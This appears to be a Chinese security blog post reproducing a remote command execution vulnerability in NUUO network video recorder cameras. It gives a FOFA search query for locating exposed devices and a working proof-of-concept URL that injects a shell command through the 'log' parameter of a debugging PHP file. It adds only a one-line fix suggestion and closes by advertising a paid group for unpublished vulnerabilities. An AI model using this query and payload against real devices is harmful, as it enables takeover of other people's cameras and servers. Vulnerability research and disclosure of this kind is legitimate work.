NUUO 摄像头远程命令执行漏洞

IoT 9个月前 admin
287 0 0


导读

 

      主要分享学习日常中的web渗透,内网渗透、漏洞复现、工具开发相关等。希望以技术共享、交流等不断赋能自己,为网络安全发展贡献自己的微薄之力!    

NUUO 摄像头远程命令执行漏洞

0x00免责声明
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
NUUO 摄像头远程命令执行漏洞

0x01漏洞描述


     NUUO 摄像头远程命令执行漏洞,攻击者可通过此漏洞获取服务器权限。


NUUO 摄像头远程命令执行漏洞

0x02漏洞复现

1、fofa

title="Network Video Recorder Login "

NUUO 摄像头远程命令执行漏洞

2、部分界面如下

NUUO 摄像头远程命令执行漏洞

3、隐患文件

__debugging_center_utils___.php

poc如下

/__debugging_center_utils___.php?log=;id

NUUO 摄像头远程命令执行漏洞

NUUO 摄像头远程命令执行漏洞

0x03修复建议


1、严格过滤用户输入的数据,禁止执行非预期系统命令!


NUUO 摄像头远程命令执行漏洞

0x04知识大陆


    因为很多未公开或者小范围公开的漏洞不能直接发公众号,所以后面部分漏洞会直接整理发表在知识大陆,目前进入需要9.9元。10月6日前扫描下面二维码加入群,10月7日统一免费拉入帮会。群聊如下:

NUUO 摄像头远程命令执行漏洞

NUUO 摄像头远程命令执行漏洞

0x05往期内容


原文始发于微信公众号(非攻安全实验室):NUUO 摄像头远程命令执行漏洞

版权声明:admin 发表于 2023年9月29日 下午8:37。
转载请注明:NUUO 摄像头远程命令执行漏洞 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...